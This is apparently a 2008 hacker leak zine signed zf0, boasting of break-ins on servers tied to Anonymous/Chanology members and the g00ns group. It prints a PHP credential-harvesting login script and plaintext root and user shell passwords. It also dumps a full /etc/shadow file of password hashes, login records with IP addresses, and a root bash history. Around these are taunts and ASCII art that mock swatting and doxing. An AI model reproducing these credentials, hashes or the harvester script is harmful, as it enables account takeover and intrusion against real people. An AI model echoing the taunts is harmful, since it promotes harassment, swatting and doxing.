07:47 picatta$ cd ~picatta$ ls -altotal 20drwxr-xr-x 2 picatta picatta512 Mar 8 07:47 .drwxr-xr-x 4 root wheel512 Mar 8 07:48 ..-rw-r--r-- 1 picatta picatta751 Mar 8 07:47 .cshrc-rw-r--r-- 1 picatta picatta248 Mar 8 07:47 .login-rw-r--r-- 1 picatta picatta158 Mar 8 07:47 .login_conf-rw------- 1 picatta picatta373 Mar 8 07:47 .mail_aliases-rw-r--r-- 1 picatta picatta331 Mar 8 07:47 .mailrc-rw-r--r-- 1 picatta picatta766 Mar 8 07:47 .profile-rw------- 1 picatta picatta276 Mar 8 07:47 .rhosts-rw-r--r-- 1 picatta picatta975 Mar 8 07:47 .shrc$ cd ~general$ ls -altotal 20drwxr-xr-x 2 general general512 Mar 8 07:48 .drwxr-xr-x 4 root wheel512 Mar 8 07:48 ..-rw-r--r-- 1 general general751 Mar 8 07:48 .cshrc-rw-r--r-- 1 general general248 Mar 8 07:48 .login-rw-r--r-- 1 general general158 Mar 8 07:48 .login_conf-rw------- 1 general general373 Mar 8 07:48 .mail_aliases-rw-r--r-- 1 general general331 Mar 8 07:48 .mailrc-rw-r--r-- 1 general general766 Mar 8 07:48 .profile-rw------- 1 general general276 Mar 8 07:48 .rhosts-rw-r--r-- 1 general general975 Mar 8 07:48 .shrc$ cd /usr/local/www/apache22/data/auth$ ls -altotal 8drwxr-xr-x 2 root picatta 512 Mar8 17:41 .drwxr-xr-x 28 root wheel 1536 Mar8 22:01 ..-rwxr-xr-x 1 root picatta 2 Mar5 12:47 account.txt-rwxr-xr-x 1 root picatta 169 Mar5 12:47 login.php$ cat account.txt:$ cat login.php <?php $email = $_POST['email']; $password = $_POST['password']; $fw = fopen('account.txt', 'a'); fwrite($fw, $email . ":" . $password . "\n"); fclose($fw);?>$ ls -al /var/mailtotal 4drwxrwxr-x 2 rootmail 512 Mar 8 22:05 .drwxr-xr-x 24 rootwheel 512 Mar 8 22:05 ..-rw------- 1 cyruscyrus 0 Mar 8 22:05 cyrus-rw------- 1 generalgeneral 0 Mar 8 07:48 general-rw------- 1 mysqlmysql 0 Mar 8 16:38 mysql-rw------- 1 picattapicatta 0 Mar 8 07:47 picatta$/*****************************************************************/Well, that was fun...Remember, you are not as untouchable as you think you are. As long as you have awebsite up somewhere or are IRC'ing on public networks (btw, do you honestlythink that EFNet provides a secure communications channel?) you are within thereach of those who would wish you harm. To be perfectly honest, you indoctrinate your members just as much as thesupposed evil CoS that you fight against. I honestly don't see the differencebetween your methods and those that you allege they use. Your actions are childish. You attack sites and people that have done nothing to you and whom you have no battle with. Hell, a lot of the time you don't evenattack the right target. That speaks volumes about your collective abilities.Again, we beseach you to remember that you are *not* untouchable. While 99% ofthe time you will anger people who have no power to hit back, or who have no friends with the ability to retaliate, the remaining 1% of the time you willanger people who can and will hurt you.Knock off this Chanology crap and go back to posting on 4chan and playing CounterStrike. You're in a world you know nothing about and you do not belong here.We would have dumped your MediaWiki DB but it was full of crap and only had 32registered users.This was for you X. Hopefully it helps.############################################################## THE ADVENTURES OF ## __ ## .--------.|__|.----.----.-----. ## | || || __| _| _ | ## |__|__|__||__||____|__| |_____| ## __ ## .-----.-----.-----.|__|.-----. ## | _ | -__| || ||__ --| ## | __|_____|__|__||__||_____| ## |__| ## ############################################################### | # ________________________ ## | [] []# | | ## | # |<mp> r0fl3 i juST g0t | ## FUCK YOU! Co$! | [] []# |bunCH of RFI's from b0ts| ## \ | # |i r teh le3ats | ## \ | ____# | | ## lulz O_O i just | |___# |<sk1d> LUCKY!!11! | ## raged you so | # | | ## hard!! | ? __# '-.____________________.-' ## / | o | # |________| ##___8=D________________|__|_|_# ______/__________\______ ##/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# |________________________| ## # |(type type) | ##- - - - - - - - - - # | \ _____ _____ | ## # | / ' \ | ############################################################### | # | ## r0flzc0ptu3z i just | [] []# SHUT UP Co$!! | [] []## / | # / Thats IT! ## swated that f4g and | [] []# \ / | [] []## \ | # \ I'M CALLING| ## \ | ____# \ \ | ____## dropp3d his doc's | |___# \ The | |___## i iz so0 |Go # / \| ## l33t!! |Away__# Whats zf0no? zf0no___## / | 'o | # / | 'o | ##___8=D________________|__|_|_#___8=D________________|__|_|_##/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/## # ##- - - - - - - - - - #- - - - - - - - - - ## # ############################################################### ## ,-. __ ## ,' `---.___.---' `. ## ,' ,- `-._ ## ,' / \ .- ## ,\/ / zf0 + Rhino => zf0no \\ (( ## )`._)>) | \\// ## `>,' _ \ / |/ *-_ ## ) \ | | zf04 | | o `-. ## , / \ | `. | | o * (`-' ##\ \`-' )-| `. | / '- .' ##\`-` .` _/ \ _ )`-.___.--\ / O _`-._ ##_\_ ,'_____\ `.__/___________`. \_____,'^, c-)__##__/ , ,'/_/_/_/_/\ /`/_/_/_/_/_/_/\ /_/_/(_`-' ^-'`)## \__ / _) ( _) ( (^_ - _ |##- -`--' - - - -/____\- - - - -/____\-(_,-. 8=D |## `-_______* ############################################################### ## Once Again Micro Penis Is ## __ ## .-----.--.--.--.-----.-----.--| | ## | _ | | | | | -__| _ | ## | __|________|__|__|_____|_____| ## |__| ## (c) zf0 2008##############################################################zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0 zf0zf0 g00ns zf0zf0 zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0z3r0 -> tribal: its possible someone hacked the user account z3r0 -> tribal: but doubtfultribal -> z3r0: yeah but if thats truetribal -> z3r0: they wouldn't be able to change the bash history~~~~~~~~~~~~~~~~~~~~~~~~~~Current g00ns shell passwords:root:Yuh89Kiol0?bnc:dwAFkCWxbarnseo:jatQeT77Q2be~~~~~~~~~~~~~~~~~~~~~~~~~~[root@demon2 ~]# uname -a; idLinux demon2.rage-servers.com 2.6.22.9-grsec #11 SMP Mon Feb 11 22:15:20 PST 2008 i686 i686 i386 GNU/Linuxuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)[root@demon2 ~]# cat /etc/shadowroot:$1$eE12wKEE$tmHFeYudmmO3rwwe7l7Cj1:13917:0:99999:7:::bin:*:13726:0:99999:7:::daemon:*:13726:0:99999:7:::adm:*:13726:0:99999:7:::lp:*:13726:0:99999:7:::sync:*:13726:0:99999:7:::shutdown:*:13726:0:99999:7:::halt:*:13726:0:99999:7:::mail:*:13726:0:99999:7:::news:*:13726:0:99999:7:::uucp:*:13726:0:99999:7:::operator:*:13726:0:99999:7:::games:*:13726:0:99999:7:::gopher:*:13726:0:99999:7:::ftp:*:13726:0:99999:7:::nobody:*:13726:0:99999:7:::dbus:!!:13726:0:99999:7:::mailnull:!!:13726:0:99999:7:::smmsp:!!:13726:0:99999:7:::nscd:!!:13726:0:99999:7:::vcsa:!!:13726:0:99999:7:::haldaemon:!!:13726:0:99999:7:::rpc:!!:13726:0:99999:7:::rpcuser:!!:13726:0:99999:7:::nfsnobody:!!:13726:0:99999:7:::sshd:!!:13726:0:99999:7:::pcap:!!:13726:0:99999:7:::rpm:!!:13726:0:99999:7:::named:!!:13726::::::apache:!!:13726::::::diradmin:!!:13726::::::mysql:!!:13726::::::webapps:!!:13726:0:99999:7:::majordomo:!!:13726::::::admin:$1$k67PPtsg$vReIxhUQshkQHrgN8qop4/:13727:0:99999:7:::barnseo:$1$eSkx8Cwh$l/eNlfFan8WqvNlt3CcJd/:13943:0:99999:7:::bored:$1$VDoQ7SvP$hzgNmjDbAo1YV1UN1HnSa1:13727:0:99999:7:::churc0:$1$tsI0iJf7$6NvNZKfpK/NMNbhrQTmlA0:13727:0:99999:7:::connors:$1$2ULc9Bif$sujzvc6bBq/w9fUjMC/ru/:13727:0:99999:7:::every:$1$wC6e9J4r$fHgJBV5mvsjDfu1mbP1ya1:13727:0:99999:7:::evilcode:$1$w3V6Hy9R$Ulia4Vw0Ka2BppbF0/lH50:13732:0:99999:7:::excodeirc:$1$rFGBHx30$NQBXJyn58wCMprwtX6zYw0:13774:0:99999:7:::
exploiterc:$1$VEmT3ImD$VxH8EvofWX8ewPX4M4wk00:13727:0:99999:7:::felosii:$1$G2Mg7vW9$SoUIbysYX.nTApiriA6CC/:13727:0:99999:7:::g00nsts395:$1$1joDOdxa$Us6bM7CJhw0BTgErxTI5p0:13748:0:99999:7:::grumpy:$1$dX3cnqpU$oApeYwRlHfDpoG4RpaGwD.:13727:0:99999:7:::illmob:$1$gFYsh9oD$LVzfHbh.UyLCGp/HoP2xC.:13727:0:99999:7:::pingyill:$1$5b3IbBeK$pRofjZ3/JiBjPG3OYgP900:13727:0:99999:7:::rageserver:$1$lI4HM14j$2vJACLQYNTxJDZ6GkJRBv0:13727:0:99999:7:::robo:$1$u0sPxruz$eaFFqL4tnXsKcCOkrq2/O.:13727:0:99999:7:::sn00g3s:$1$brOb0Seg$FGzBeV5S89j5AgDgYaRSG/:13970:0:99999:7:::void:$1$tBjUtZVx$6Vzt0IHhNIQU8QLU6lymO/:13727:0:99999:7:::alliancedn:$1$JitYsrIg$Mz0Q3fgnLDDmnEITkHB1t1:13727:0:99999:7:::aosw:$1$2EhcyqE8$b2JIrTsCg6svFPqe4bSvB.:13727:0:99999:7:::ntp:!!:13727::::::hackrad:$1$pnZjslMq$F1X4eS3kW4DjnxNJq6l7w.:13727:0:99999:7:::mycorp:$1$7PzKv9I_$SdcZN/fvAe5M1/g.nV3Ve/:13727:0:99999:7:::ragedns:$1$0ZhTdSDG$8tIyV/igSTp2FW1DLg0bI.:13727:0:99999:7:::shoutcas:$1$EyPac5O4$twiXOZ2pCQF2N02Yn1ysF/:13732:0:99999:7:::g00ns83:$1$11pX9sPu$10H8SuDhVaqzctQl1hK/T.:13985:0:99999:7:::avahi:!!:13728::::::xfs:!!:13728::::::bnc:$1$oJ272Xoy$A/YVfI3PIEVShTgTfBKVY1:13729:0:99999:7:::felosi:$1$nsjb27Ih$r4cu3KkmTBUcHBnpKlcAd/:13729:0:99999:7:::egg:$1$IhIgFiwf$ZbLk7EMZ2mW9h5SZ.mibv.:13735:0:99999:7:::dougie:$1$xSp9e8mS$aiGml3legHEIUPrB5zyNp/:13737:0:99999:7:::proc:!!:13748:0:99999:7:::cstest:$1$ocq0fShx$6dKqaaMhVyvob5DW5sBeK1:13859:0:99999:7:::partyvan:!!$1$lGkCPwxP$aaKltWujl.3mkQjqgKJ311:13864:0:99999:7:::40zzz:$1$I1xSLk9k$0.mmuo5Si8UlQXaUJ4VRF1:13869:0:99999:7:::tflux:$1$ftEvmzkA$RlkyQtPH.ebC0J8lWiZxm/:13875:0:99999:7:::hthhost:$1$sdsbg7Bd$UaK2rXwsmZjwQYV8/4FUa1:13877:0:99999:7:::party:$1$f2EVqqGx$H/sktpSQFCpoOz8tQpNsu/:13912:0:99999:7:::silc:$1$dhGqC6Gf$UEHea6QzCwrkfB8ZB2gDV1:13897:0:99999:7:::ident:!!:13910:0:99999:7:::lost:$1$5EpPopQR$0klUI/mKzjxPR0CV7qp2f/:13926:0:99999:7:::cunt:$1$7EyJ/1Qa$4Xy96JHb7dRjxxq.FDCsQ0:13947:0:99999:7:::tribal:$1$qF0PcFfr$76GBdRhLgM5lEGpjZQLPL1:13947:0:99999:7:::sixtyz:$1$9oLYqc3p$.KffXrzMGVAQ2bdOrgkoY1:13986:0:99999:7:::hanon:$1$oQBfvCtT$LymNfsGG9wHkUwKn41Cim/:13961:0:99999:7:::pvannet:$1$hYiASnKV$.CxXbIqEMR6kAoRRKVLfo1:13965:0:99999:7:::[root@demon2 ~]# ps auxwww | grep -v root | grep -v mysqlUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDftp 2319 0.0 0.0 2736 1424 ? Ss Mar18 0:00 proftpd: (accepting connections)dbus 3183 0.0 0.0 2784 672 ? Ss Feb11 0:00 dbus-daemon --systemmail 3813 0.0 0.0 8760 712 ? Ss Feb11 0:36 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pidavahi 4434 0.0 0.0 2600 648 ? Ss Feb11 0:00 avahi-daemon: running [demon2.local]68 4450 0.0 0.0 5276 736 ? Ss Feb11 0:00 haldnamed 4618 0.0 0.4 48712 8296 ? Ssl Feb11 55:55 /usr/sbin/named -u namedbnc 5470 0.0 0.0 5568 1560 ? S Feb11 0:53 ./psybncapache 12745 0.0 0.3 113532 7368 ? Ss Apr16 0:00 lsphp -c /usr/local/libbnc 14297 0.0 0.1 5544 2144 ? S Apr19 0:04 ./psybnc psybnc.gso.confnobody 15071 0.0 0.0 8708 1292 ? Ss Apr01 0:00 /usr/local/directadmin/directadmin d510 16899 0.0 0.1 6728 3232 ? S Apr14 0:00 /home/excodeirc/Unreal3.2/src/ircdevilcode 17493 0.0 0.8 19904 17704 ? S Apr19 1:08 /home/evilcode/newircd/Unreal3.2.7/src/ircdegg 20683 0.0 0.2 17204 5172 ? Sl Apr14 7:14 ./eggdrop-1.6.18 v0ltr0n.confegg 20745 0.0 0.1 13380 3432 ? Sl Apr14 0:02 ./eggdrop sentry.confegg 20748 0.0 0.1 13544 3420 ? Sl Apr14 0:00 ./eggdrop boneless.confegg 20758 0.0 0.1 13404 3396 ? Sl Apr14 0:00 ./eggdrop keebler.confegg 20770 0.0 0.1 4412 3428 ? Ss Apr14 0:31 /home/egg/efnet/fight hackeregg 20773 0.0 0.1 3548 2588 ? Ss Apr14 0:19 /home/egg/efnet/fight logicegg 20776 0.0 0.1 3588 2692 ? Ss Apr14 0:17 /home/egg/efnet/fight blooegg 20779 0.0 0.1 3552 2640 ? Ss Apr14 0:18 /home/egg/efnet/fight ethoegg 20793 0.0 0.1 3564 2720 ? Ss Apr14 0:17 /home/egg/efnet/fight notgayegg 20798 0.0 0.1 3576 2676 ? Ss Apr14 0:24 /home/egg/efnet/fight hthbot513 23089 0.0 0.1 73380 2388 ? SNl Apr16 0:26 ./server_linux513 23913 0.0 0.2 50844 5016 ? SNl Apr16 0:00 ./server_linux -PID=tsserver2.pidapache 28366 0.0 0.6 121208 14104 ? S 13:11 0:00 lsphp -c /usr/local/libnobody 29950 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin dnobody 29960 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin dg00ns83 29999 0.0 0.5 114628 10976 ? S 13:26 0:00 lsphp -c /usr/local/libsn00g3s 30011 0.9 0.5 114844 11788 ? S 13:26 0:00 lsphp -c /usr/local/libevery 30024 1.6 0.5 114452 12264 ? S 13:26 0:00 lsphp -c /usr/local/libnobody 30111 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin dnobody 30168 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin dnobody 30170 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin dapache 32186 0.0 0.6 16400 12960 ? S Apr16 4:36 lshttpd[root@demon2 ~]# ls -altotal 18128drwxr-x--- 14 root root 4096 Mar 27 16:14 .drwxr-xr-x 27 root root 4096 Mar 11 00:10 ..-rw-r--r-- 1 root root 16777216 Sep 17 2004 16mb.test.file.zip-rw------- 1 root root 1077 Jul 31 2007 anaconda-ks.cfgdrwxr-xr-x 2 root root 4096 Sep 13 2007 ani-rw------- 1 root root 9305 Apr 21 13:23 .bash_history-rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout-rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile-rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc-rw-r--r-- 1 root root 337529 Apr 17 2006 Bastille-3.0.9-1.0.noarch.rpmdrwxrwxrwx 5 1000 1000 12288 Mar 17 19:47 c-ares-1.5.1-rw-r--r-- 1 root root 445312 Nov 21 02:14 c-ares-1.5.1.tar.gz-rw-r--r-- 1 root root 20136 Dec 19 19:30 coresdrwxr-xr-x 4 root root 4096 Feb 23 19:17 .cpandrwxr-xr-x 5 root root 4096 Feb 10 12:56 csf-rw-r--r-- 1 root root 238005 Jan 21 09:19 csf.tgz-rw-r--r-- 1 root root 100 Jan 6 2007 .cshrcdrwx------ 2 root root 4096 Jan 25 16:29 .elinks-rw-r--r-- 1 root root 8192 Jan 6 17:37 flood-rw-r--r-- 1 root root 13333 Jul 31 2007 install.log-rw-r--r-- 1 root root 2551 Jul 31 2007 install.log.syslog-rw-r--r-- 1 root root 12033 Jan 6 17:30 ips-rw------- 1 root root 45 Apr 19 14:04 .lesshstdrwxr-xr-x 4 root root 4096 Dec 31 01:35 lynis-rw-r--r-- 1 root root 46388 Dec 26 11:13 lynis-1.0.6.tar.gz-rw-r--r-- 1 root root 754 Feb 10 17:12 Makefile-rw-r--r-- 1 root root 0 Feb 10 17:12 Module.symvers-rw------- 1 root root 41 Jan 31 02:49 .my.cnf-rw------- 1 root root 419 Sep 29 2007 .nessusrc-rw-r--r-- 1 root root 51 Sep 29 2007 .nessusrc.cert-rw-r--r-- 1 root root 656 Jan 6 17:37 new-rw-r--r-- 1 root root 656 Jan 6 17:38 new1drwxr-xr-x 3 root root 4096 Mar 25 13:40 newircd-rw-r--r-- 1 root root 1462 Aug 19 2007 opt.php-rw-r--r-- 1 root root 3502 Feb 10 16:03 ptpatch2008.c-rw-r--r-- 1 root root 5704 Feb 10 17:12 ptpatch2008.ko-rw-r--r-- 1 root root 126 Feb 10 17:12 .ptpatch2008.ko.cmd-rw-r--r-- 1 root root 870 Feb 10 17:12 ptpatch2008.mod.c-rw-r--r-- 1 root root 3404 Feb 10 17:12 ptpatch2008.mod.o-rw-r--r-- 1 root root 11168 Feb 10 17:12 .ptpatch2008.mod.o.cmd-rw-r--r-- 1 root root 3080 Feb 10 17:12 ptpatch2008.o-rw-r--r-- 1 root root 16774 Feb 10 17:12 .ptpatch2008.o.cmddrwxrwxr-x 3 666 666 4096 Sep 22 2007 rkhunter-1.3.0-rw-r--r-- 1 root root 252011 Sep 22 2007 rkhunter-1.3.0.tar.gz-rw------- 1 root root 1024 Jan 31 05:43 .rnddrwxr-xr-x 4 1000 1000 4096 Nov 29 14:48 rootcheck-0.7-rw-r--r-- 1 root root 42488 Mar 17 2006 rootcheck-0.7.tar.gzdrwx------ 2 root root 4096 Feb 10 12:55 .sshdrwxr-x--- 2 root root 4096 Dec 11 17:39 .steam-rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrcdrwxr-xr-x 2 root root 4096 Feb 10 17:12 .tmp_versions-rw-r--r-- 1 root root 42596 Aug 9 2007 tuning-primer.sh-rw-r--r-- 1 root root 11623 Jan 6 17:36 udpflood-rw-r--r-- 1 root root 12033 Jan 6 17:30 udpips[root@demon2 ~]# last -n 30root pts/1 74-34-107-191.ds Mon Apr 21 03:44 - 13:23 (09:39) andrei@t ftpd27076 99.146.188.71 Sun Apr 20 17:01 - 17:07 (00:05) andrei@t ftpd21033 99.146.188.71 Sun Apr 20 16:06 - 16:11 (00:05) andrei@t ftpd18185 99.146.188.71 Sun Apr 20 15:40 - 15:56 (00:15) andrei@t ftpd14422 99.146.188.71 Sun Apr 20 15:04 - 15:20 (00:16) every ftpd13689 76.189.145.31 Sun Apr 20 09:56 - 10:03 (00:07) bnc pts/1 78.129.174.155 Sat Apr 19 20:27 - 20:31 (00:04) bnc pts/1 78.129.174.155 Sat Apr 19 17:53 - 18:39 (00:45) bnc pts/2 78.129.174.155 Sat Apr 19 15:03 - 15:06 (00:02) root pts/2 ip70-180-48-83.b Sat Apr 19 10:35 - 11:25 (00:50) every ftpd20255 76.189.145.31 Fri Apr 18 15:42 - 15:42 (00:00) every ftpd18019 76.189.145.31 Fri Apr 18 15:26 - 15:41 (00:15) root pts/0 fl-71-51-173-254 Wed Apr 16 19:52 - 20:43 (00:50) andrei@t ftpd32363 99.146.188.71 Wed Apr 16 17:33 - 17:37 (00:04) root pts/0 fl-71-51-173-254 Wed Apr 16 17:28 - 19:09 (01:41) andrei@t ftpd30547 99.146.188.71 Wed Apr 16 17:18 - 17:29 (00:11) andrei@t ftpd30546 99.146.188.71 Wed Apr 16 17:18 - 17:23 (00:05) root pts/0 fl-71-51-173-254 Tue Apr 15 21:14 - 21:57 (00:42) root pts/0 fl-71-51-173-254 Mon Apr 14 22:23 - 23:11 (00:47) root pts/0 fl-71-51-173-254 Mon Apr 14 13:46 - 14:28 (00:42) kl@60z.o ftpd10215 77.221.133.186 Mon Apr 14 00:32 - 00:32 (00:00) andrei@t ftpd19694 99.146.188.71 Sun Apr 13 20:40 - 20:45 (00:05) andrei@t ftpd12210 99.146.188.71 Sun Apr 13 19:22 - 19:36 (00:13) andrei@t ftpd10428 99.146.188.71 Sun Apr 13 19:03 - 19:11 (00:07) andrei@t ftpd9290 99.146.188.71 Sun Apr 13 18:52 - 18:57 (00:05) andrei@t ftpd9291 99.146.188.71 Sun Apr 13 18:52 - 18:57 (00:05) root pts/0 ip70-180-48-83.b Sat Apr 12 11:39 - 11:40 (00:00) root pts/0 ip70-180-48-83.b Sat Apr 12 10:02 - 10:06 (00:03) root pts/0 fl-71-51-173-254 Thu Apr 10 13:32 - 13:45 (00:12) root pts/0 fl-71-51-173-254 Mon Apr 7 17:43 - 18:36 (00:53) wtmp begins Sun Mar 2 09:43:08 2008[root@demon2 ~]# cat /etc/issueCentOS release 5 (Final)Kernel \r on an \m[root@demon2 ~]# cat .bash_historywpasswd g00ns83topwcd /homelsls pr0becd g00ns83lscd public_htmllsnano in.phpls katalyst/nano includes/config.phpnano includes/config.phpchown includes/config.php g00ns83chown g00ns83 includes/config.phpls includesls -o includeslsls -ols image -ols -o imagechown g00ns83 *lslscd /lsmakeuser cuntadduser cuntpasswd cuntslscd /home/sn00g3scd public_Htmlcd public_htmllsmkdir hidnano hid/index.phpchown sn00g3s chown sn00g3s *lsls -ols hidrm -rf hidcd /home/g00ns83/public_Htmlcd /home/g00ns83/public_htmllsmkdir tribalcd tribalnano index.phprm index.phpnano index.phprm index.phpnano index.phprm index.phpnano index.phpcd /home/g00ns83chown g00ns83 *wls -ocd /homepasswd cuntcd /home/cuntlswget http://www.shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gzlstar -xzf sc_serv_1.9.8_Linux.tar.gz lsnano sc_serv.confsudo cuntsu cuntlscd unrealold/lscd /home/excodeirclscd Unrealcd Unreal3.2lsnano unrealircd.conflsls -ocd /home/evilcodeirccd /homelscd evilcodelscd Unreal3.2/lsnano unrealircd.confcd /home/excodeirccd Unreal3.2lsnano unrealircd.confls -ocd /homlscd /homelsls -ols tmpls asbestoscd asbestoscd domainslscd asbestosbeware.orglscd /lswls tmplsps -aux | grep ircdnetstat | grep ircdlsnetstatddosddoscsf -d 24.3.92.79nano /etc/csf/csf.allowcsf -d 24.3.92.79csf -rcsf -d 24.3.92.79csfcsf -ccsf -rcsf -d 24.3.92.79nano /etc/csf/csf.allowcsf -d 24.3.92.79ddossynsynalllsls -ols rootcd /home/pr0belsrm -rf irssi-0.8.12rm irssi-0.8.12.tar.gz lsuserdeluserdel -f pr0becd /homelsuseradd tribalpasswdlschown cunt *su cuntwpasswd triballsnano /etc/passwdcd /home/triballssu triballscd /home/triballssu triballswcd /lsnano /etc/csf/csf.denycsf -rcd /homelscd excodeirc/lscd Unrealcd Unreal3.2lsnano unrealircd.confnano unrealircd.confcd /homelscd evilcode/lscd Unreal3.2/lsnano unrealircd.conf make installsu tribalwlswhocd /home/excodeirclscd Unreal3.2lsnano unrealircd.confcd /home/evilcodeirccd /home/evilcoderscd /homelscd evilcode/lscd Unreal3.2/lsnano unrealircd.conf nano unrealircd.conf cd /home/excodeirclscd Unreal3.2lsnano unrealircd.confnano unrealircd.confnano /etc/csf/csf.denycsf -a 24.205.142.108 /etc/csfwddosddoscsf -rsynlslswddosnetstatwwholscd /lsls etcls varls binls * | grep ddossyndlsnano /etc/csf/csf.denynst | grep 72.20.26.211netstat | grep 72.20.26.211tcodump -nn -vv 72.20.26.211tcpdump -nn -vv 72.20.26.211netstat | grep 72.20.26.211wnetstat | grep 72.20.26.211wdoslsddos syngddos syndps -auxkill -9 5174lsps -auxlsls /homelscd /home/evilcodelscd Unreal3.2ls./unreal./unreal startps -auxkill -9 3549ps -auxlsls ../lsls ../../su evilcodeps -auxps -auxlscd ../lscd ../lscd evilcodelscd Unreal3.2lsnano unrealircd.conflscd ../../lscd excodeirclscd Unreal3.2lsnano unrealircd.confsu excodeircwcd /home/excodeircnetstatlscd Unreal3.2lsnano unrealircd.confcsf -d 79.126.130.156wls./unreal stop./unreal startnano unrealircd.confcd /home/evilcodercd /homelscd evilcode/lscd Unreal3.2/lsnano unrealircd.conf cd /home/excodeirclscd Unreal3.2lsnano unrealircd.confnano unrealircd.confcd /etc/csflsnano csf.denynano unrealircd.confcd /home/excodeirc/Unreal3.2lsnano unrealircd.confnano unrealircd.conflscd /homelscd pr0be/lssu pr0belssu pr0benano etc/passwdnano /etc/passwdcd /home/tribalsu triballscd /rootlswget http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gzwget http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gzlstar -xzf c-ares-1.5.1.tar.gz lscd c-ares-1.5.1ls./configurelscat READMEmakecat READMEmake installlscd /home/tribalsu tribalwcd /home/excodeirclscd Unreal3.2ls./unreal stopnano unrealircd.conf./unreal startcd /homelscd evilcode/lscd Unreal3.2/lsnano unrealircd.conf lscd /home/excodeirclscd Unreal3.2lsnano unrealircd.confcd /home/excodeirclsmkdir BULLSHITlsrm -rf denora-1.2.0-RC4rm denora-1.2.0-RC4.tar.gz lsls psybncrm psybnc/lsrm -rf psybnc/lsrm -rf BULLSHIT/lscd /home/evilcodelscd Unreal3.2/lsnano ircd.motdchown evilcode *cd /home/excodeirccd Unreal3.2lschown excodeirc *nano unrealircd.conflslswcd /nano unrealircd.conflsls /rootddosnetstatddossynsyndddoscsf -d 218.186.12.8ddos 10ddosddosddosddoscsfcsf -ccsf -lwwcd /lswnetstatlscd /home/evilcodelscd unreal3.2cd Unreal3.2lsnano unrealircd.confcd ../lscd ../lscd excodeirclscd Unreal3.2lsnano unrealircd.confdmesgtopsh tuning*topcleartopwlscd /homelscd excodeirclsmkdir hightechhostcd hightechhost/lswget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.18.tar.gzlstar zxvf eggdrop1.6.18.tar.gz cd eggdrop1.6.18./configure make configmakelssu excodeircchown excodeirc *su excodeircwlscd /homelscd excodeirclscd hightechhost/lscd eggdrop1.6.18lsls -osu excodeirclscd /lscd homelscd egglscd eggdroplssu egguname -aid eggsu eggnetstat | grep 33162netstatkillall fightnetstatkillall fightps -auxsu eggnetstatuname -a ; id eggsu egglscd /home/egglscd efnet/su eggwwlscat coreslscd /homelscd evilcode/lscd Unreal3.2/lsnano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf nano unrealircd.conf cd /home/excodeirclscd Unreallscd Unreal3.2lsnano unrealircd.confcd /home/evilcodelscd Unreal3.2/lsnano unrealircd.conf cd /home/excodeirclscd Unreal3.2lsnano unrealircd.confcd /home/evilcodelscd Unreal3.2/lsnano unrealircd.conf ./Config make./unreal stop./unreal startps -aux | grep ircdkill 3952kill 10281ps -auxkill 12472killall ircd./unreal startls./Config make./unreal startcd $userlsmkdir newircdcd newircdlswget http://www.blurryfox.com/unreal/Unreal3.2.7.tar.gzlstar xzf Unreal3.2.7.tar.gz lscd Unreal3.2.7ls./Config lscd /homelscd evilcode/lssu evilcodewwps -aux | grep ircdlscd /homelscd evilcode/lscd newircd/lssu evilcodewlscd /lscd evilcodelscd /homelswcd evilcode/lswnetstat -alalssu evilcodelssu evilcodersu evilcodelswhocd /cd /homelscd evilcodelscd newircd/lscd Unreal3.2.7lssu evilcodewlscd /lscd /home/evilcodelscd newircdlscd Unreal3.2.7lsnano unrealircd.conflscd /lscd homelscd excodeirc/lscd Unreal3.2lsnano unrealircd.conf./unreal stop./unreal start./unreal start./unreal stopnano unrealircd.conf./unreal start./unreal stopuptime./unreal stopnano unrealircd.confwpasswd sn00gespasswd sn00g3scat ircd.confcat ircd.lognetstat -anstnetstat -awlswcd /lscd evilcodecd /homelscd evilcode/lscd newircd/su evilcodecsf -a 71.105.242.232 /etc/csflast | grep rootnstcat /boot/grub/grub.confcd /usr/srclsrm -rf linux*wget sstdns.com/kernel.tar.gzwget nix101.com/kernel.tar.gztar zxvf kernel.ta.gztar zxvf kernel.tar.gzln -s linux-2.6.24.3 linuxcd linuxrm -rf .configwget sstdns.com/grsecmv grsec .configscreenwps -aux ; grep ircdcd /homecd evilcodelssu evilcodewlscd /ps -auxkill 19912kill 11341ps -auxkill 11341kill 11341ps -auxkilall fightkill fightkill 3534kill 3537kill 3540kill 3543kill 3546kill 3549ps -auxkill 1439kill 1499ps-auxps -auxwddosnetstat -alsls homecd homelsls pvannetls pvannet/public_htmllsls aoswls aosw/public_htmlcsf -a 63.173.63.241 /etc/csfnano /etc/csf/csf.denyping 63.173.63.241tracert 63.173.63.241lswcd /homelscd g00ns83lsls public_html/lscd /lscd homels g00ns83/backupmv 